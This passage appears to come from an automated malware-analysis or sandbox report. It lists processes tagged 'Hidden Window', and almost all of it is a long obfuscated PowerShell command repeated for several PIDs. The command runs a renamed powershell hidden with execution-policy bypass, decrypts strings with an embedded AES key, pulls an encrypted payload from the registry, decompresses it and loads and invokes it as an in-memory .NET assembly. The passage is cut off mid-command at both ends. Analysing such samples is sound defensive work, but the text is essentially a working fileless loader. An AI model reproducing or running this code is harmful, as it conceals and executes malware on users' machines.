System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        10⤵
        Hide Artifacts: Hidden Window
        
        PID:5124
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2936).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        10⤵
        Hide Artifacts: Hidden Window
        
        PID:7576
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2936).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        10⤵
        Hide Artifacts: Hidden Window
        
        PID:3048
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3048).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); 